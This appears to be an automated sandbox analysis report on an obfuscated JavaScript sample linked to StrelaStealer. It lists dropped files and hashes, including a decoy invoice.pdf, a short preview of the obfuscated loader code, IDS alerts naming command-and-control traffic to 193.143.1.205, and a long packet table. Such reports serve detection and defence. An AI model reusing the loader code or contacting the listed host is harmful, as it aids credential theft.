Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\7957fefc-b351-4e43-be43-50df448822c6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/yawYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07mWL07oXGZd:3wZG2b3mlind9i4ufFXpAXkrfUs0CWLk
MD5:	CFE92F09B3CF5F1D659B8E273EA6BE32
SHA1:	5434B8D5E70B5C581C383413B92C835DD7E9D8CC
SHA-256:	6E57E3E8E384579FE6B1F8BE103EBD1DBC57FC80171A1E34CB87C29603FBD601
SHA-512:	838DF787F3032E647AFF8F311C829C5E2F39C47EC432BD0A51F6B262C0C5CB6F63802DCB2DD4F92EFC4C816372E65AEDF4E19D4346793D1D94A485A8FF94A60C
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\ecfca898-37c4-47a0-a276-1316c255da50.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16170), with CRLF line terminators
Entropy (8bit):	4.908039434378025
TrID:
File name:	183159621374924598.js
File size:	19'575 bytes
MD5:	e755c8e3261536f6e574c07eafaa4f47
SHA1:	8b848bed05a2c38bef23f28c8ac184d55bf77524
SHA256:	24fcb45e9985314dac98ee824a0bf25b7622d19d6fa6e7e5783349f727047a7e
SHA512:	965e5bc1404843e391083520487f5c5c17b0c1f9d6b7e16f0f8a3c946a99f53ec6faffcad8f21d35ae24667b81b8cc7a926bc7c8de073e033bfde607c12d2a35
SSDEEP:	192:2XblV0dYblyF5P6W1eFcFYlAsH7iIaKhGTyV1ztEaF4DG7KClxapcvKWJu5j0D5R:tCtAsH3CK15Ea8s5l5UE+Klj/
TLSH:	27921184E2C2DCF547E836F86A2A48E172F410DD2ED9C2C9AF5200C566D8DA7BDF5271
File Content Preview:	function htifjrf(){dtcrp=[1031,3079,5127,4103,2055,3072];var uqbiji=this[aiwctil+rvwknw+ixottl+jrtuhyy+tonpvit+smqgzxmq+gkfsg+zxqewqyeg](this[owjlvze+llfhkz+tpopzd+ixottl+hsylxweb+aiwctil+zxqewqyeg][boxhj+ixottl+tonpvit+rvwknw+zxqewqyeg+tonpvit+xvphkcdk+r

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T05:52:26.111734+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T05:52:26.111734+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T05:52:28.866325+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:52:25.283507109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:25.288685083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:25.288781881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:25.291834116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:25.296782970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.111597061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.111655951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.111710072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.111733913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.111745119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.111790895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.111800909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.111802101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.111841917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.111846924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.111880064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.111917019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.111923933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.111954927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.111995935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.116800070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.162164927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.162214041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.162369013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.235925913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.235989094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.236027002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.236057043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.236063004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.236115932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.236148119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.236181021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.236216068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.236228943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.236252069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.236289978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.236295938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.236777067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.236834049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.236843109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.236880064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.236912966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.236929893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.236953020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.237013102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.237541914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.237610102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.237646103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.237672091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.237699986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.237735033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.237750053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.238512039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.238547087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.238583088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.243549109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.243580103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.243619919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.248786926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.248821974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.248873949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.286576033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.286592960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.286771059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.322386026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.322421074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.322484016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.359988928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.360074043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.360133886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.360161066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.360199928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.360258102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.360269070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.360305071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.360346079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.360359907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.360379934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.360415936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.360430002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.360451937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.360510111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.361042023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.361078024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.361113071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.361128092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.361148119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.361183882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.361198902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.361217022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.361253977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.361263990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.361823082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.361859083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.361870050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.361896992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.361927032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.361937046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.362508059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.362544060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.362560987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.362581015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.362615108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.362637997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.362651110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.362684965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.362699986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.362723112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.362773895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.363769054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.363810062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.363847017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.363867998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.363882065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.363917112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.363931894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.363954067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.363993883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.364010096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.364154100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.364187002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.364196062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.364240885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.364275932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.364289999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.364310980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.364355087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.364360094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.364398003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.364448071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.365133047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.409100056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.409187078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.410514116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.410551071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.410587072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.410610914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.410621881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.410672903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.456130028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.456171989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.456223965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.491734028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.491772890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.491826057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.491843939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.491878033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.491914988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.491924047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.491983891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.492028952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.492048979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.492084026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.492117882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.492125034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.492155075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.492189884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.492197037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.492381096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.492424011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.492430925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.492479086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.492520094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.492549896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.492584944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.492619038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.492640972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.492655039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.492691994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.492706060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.493092060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.493124962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.493139029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.493165970 CET	80	49730	193.143.1.205	192.168.2.4
